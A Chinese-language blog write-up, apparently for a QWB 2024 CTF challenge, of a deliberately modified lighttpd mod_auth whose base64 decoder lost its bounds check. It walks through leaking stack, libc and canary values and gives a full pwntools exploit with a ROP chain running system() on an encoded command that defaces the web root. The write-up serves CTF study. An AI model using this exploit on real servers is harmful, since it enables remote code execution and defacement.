[ayoung@blog posts]$ cat ./qwb 2024 rw LTP.md

qwb 2024 rw LTP

[Last modified: 2024-12-16]

lighttpd1.4 mod_auth改了 栈溢出

用给的虚拟机进行编译,且和编译方式有关 使用cmake最接近

$ cd lighttpd1.4 cmake -DCMAKE_INSTALL_PREFIX=/usr/local -Wno-dev .
$ make -j 4 make test
$ sudo make install

bindiff mod_auth.so 一个被改动的函数

涉及代码如下,不过目测漏洞不在这里(ulen限制0x8FC 也造成能够溢出)

li_base64_dec函数在lighttpd中定义 diff发现同样被改了

下图左边为题目附件,右边为原版lighttpd,可以发现这里原有的越界检查被删去了,而原本传入函数第二个限制长度的参数out_length没有发挥作用,造成栈溢出

直接栈上拼接,可以把内容在返回报文中带出来 但存在canary,为了解决这一问题出题人加了一个分支以便利用 使用basic认证,当解码后找不到冒号时进入else,将栈上数组最后一个字节置0,从而能够恢复被覆盖的canary最后一字节。而返回包内容在前面已经被拷贝到dest变量里了

v5 = strlen(user);
dest = malloc(v5 + 1);
v6 = strlen(user);
memcpy(dest, user, v6);
v21 = memchr(user, ':', na);
if ( v21 )
{
	...
}
else
{
  user[na - 1] = 0;                         // 置0
  log_error(*(a1 + 96), "/home/x/Exp/ubuntu22/rwrw/lighttpd1.4/src/mod_auth.c", 845LL, "missing ':' in %s", user);
  return sub_4720(a1, require->realm, dest);
}

exp

获取栈等基址的偏移可能不是很好,演示最后几秒钟才通的 😅

最后执行echo '<html>\n<body>\n<h1>hacked by Dubhe</h1>\n</body>\n</html>' > /var/index.html&&sleep 2&&/home/qwb/lighttpd -f /home/qwb/lighttpd.conf &

执行的时候lighttpd还没挂,直接重新运行会因为端口占用无法启动。用&让他不等命令执行完进程就挂掉,命令执行中先sleep 2s再重启

from pwn import*

context(os='linux', arch="amd64", log_level='debug')

def base64_encode(data_bytes):
    encoded_data = base64.b64encode(data_bytes)
    return encoded_data.decode('utf-8')

r = remote('192.168.130.151', 8080)

payload = f"""GET /www/ HTTP/1.1\r
Host: 192.168.130.151:8080\r
Authorization: Basic {base64_encode(b"C"*8)}\r

"""

sleep(0.2)
r.send(payload.encode())
res = r.recv()
_idx = res.index(b"C"*0x8)+0x8
core_data = res[_idx:_idx+6]
stack_addr = u64(core_data+b"\x00\x00")

payload = f"""GET /www/ HTTP/1.1\r
Host: 192.168.130.151:8080\r
Authorization: Basic {base64_encode(b"B"*0x68)}\r

"""

sleep(0.2)
r.send(payload.encode())
res = r.recv()
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
_idx = res.index(b"B"*0x68)+0x68
core_data = res[_idx:_idx+6]
libc.address = u64(core_data+b"\x00\x00")-0xe1225

payload = f"""GET /www/ HTTP/1.1\r
Host: 192.168.130.151:8080\r
Authorization: Basic {base64_encode(b"A"*0x409)}\r

"""

sleep(0.2)
r.send(payload.encode())
res = r.recv()
_idx = res.index(b"A"*0x409)+0x409
core_data = res[_idx:_idx+7]
canary = u64(b"\x00"+core_data)

syscall_r = libc.address+0x0000000000091316
pop_rdi_r = libc.address+0x000000000002a3e5
pop_rsi_r = libc.address+0x000000000002be51
pop_rdx_r12_r = libc.address+0x000000000011f2e7
pop_rax_r = libc.address+0x0000000000045eb0

_rop = flat(
    b"Z"*0x408,
    canary,
    b"Z"*0x8,
    pop_rdi_r, stack_addr+0x438,
    pop_rsi_r, 0,
    pop_rdx_r12_r, 0, 0,
    libc.sym['system'],
    b"echo ZWNobyAnPGh0bWw+XG48Ym9keT5cbjxoMT5oYWNrZWQgYnkgRHViaGU8L2gxPlxuPC9ib2R5PlxuPC9odG1sPicgPiAvdmFyL2luZGV4Lmh0bWwmJnNsZWVwIDImJi9ob21lL3F3Yi9saWdodHRwZCAtZiAvaG9tZS9xd2IvbGlnaHR0cGQuY29uZiAm | base64 -d | sh\x00"
)

payload = b"""GET /www/ HTTP/1.1\r
Host: 192.168.130.151:8080\r
Authorization: Basic """+ base64.b64encode(_rop) +b"\r\n\n"
sleep(0.2)
r.send(payload)

success(hex(stack_addr))
success(hex(libc.address))
success(hex(canary))

r.close()